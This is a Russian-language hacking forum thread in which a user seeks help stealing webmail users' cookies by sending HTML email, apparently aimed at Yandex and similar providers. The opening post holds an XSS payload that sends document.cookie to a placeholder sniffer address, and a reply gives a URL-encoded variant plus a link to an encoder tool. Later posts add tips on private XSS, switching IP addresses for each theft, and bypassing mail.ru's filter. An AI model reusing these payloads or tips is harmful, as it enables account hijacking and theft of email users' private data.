Помогите Кража Cookies в почте

Discussion in 'Песочница' started by manoffree, 31 Aug 2007.

  1. manoffree

    manoffree New Member

    Joined:
    30 Aug 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Знаю что это затертая тема.Отошли типа Html письмо со скриптом
    <script>img=new Image(); img.src="путь к снифферу?"+document.cookie;</script> и жди прихода куков.Но почтовые фильтры вырезают скрипты.Я перечитал и перепробовал много но в итоге ничего не получалось,куки не приходили :( Кто подскажет что прописать что б все было тип-топ( например на Яндексе)Или какойто реально работающий проверяный способ.Заранее спасибо
     
    1 person likes this.
  2. Exlibris

    Exlibris Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    359
    Likes Received:
    394
    Reputations:
    27
    %3Cscript%3Eimg=new Image(); img.src="путь к снифферу?"+document.cookie;%3C%2Fscript%3E - переделанный в html

    http://ifolder.ru/3171933 - coder, перекодируй сам дальше
     
    #2 Exlibris, 31 Aug 2007
    Last edited: 31 Aug 2007
  3. manoffree

    manoffree New Member

    Joined:
    30 Aug 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Блин не получается :( Зашел на сайт http://www.papierenkarton.nl/m/mail.php отправил %3Cscript%3Eimg=new Image(); img.src="путь к снифферу?"+document.cookie;%3C%2Fscript%3E в штмл формате себе на почту, пришла обычная строка :(
     
  4. manoffree

    manoffree New Member

    Joined:
    30 Aug 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Что не кто не может помочь? :(
     
  5. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    Ты бы сказал куда шлешь,на почтах вообще-то фильтр стоит,в урл кодировке тем более...оно вообще должно отобразится?..
    ...
    Не может и не хочет=\
     
  6. manoffree

    manoffree New Member

    Joined:
    30 Aug 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Я шлю себе не почту на Яндекс
     
  7. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    тогда тебе нужна приватная xss....если такая есть,наверно все-таки есть
     
  8. stalles

    stalles Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    107
    Likes Received:
    19
    Reputations:
    -3
    паблик некаму ненужен!
     
    1 person likes this.
  9. manoffree

    manoffree New Member

    Joined:
    30 Aug 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Короче некто так ничего конкретно и не написал,ну спасибо чуваки :(
     
  10. mandalina

    mandalina Member

    Joined:
    27 Jan 2009
    Messages:
    12
    Likes Received:
    19
    Reputations:
    4
    Айпи поменяй.Одна кража один айпи
     
  11. LemoTTT

    LemoTTT Member

    Joined:
    29 Apr 2009
    Messages:
    45
    Likes Received:
    6
    Reputations:
    0
    Скажу сразу- я яндекса куки не приходят, с рамблера- они при подстановки ничего не дают, с мейл ру- стоит фильтр- и пишет потенциально опасный код, который фильтрует java, но я нашарился его обходить!
     
  12. DIMON4G

    DIMON4G Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    0
    Likes Received:
    108
    Reputations:
    -1
    xss вам в помощь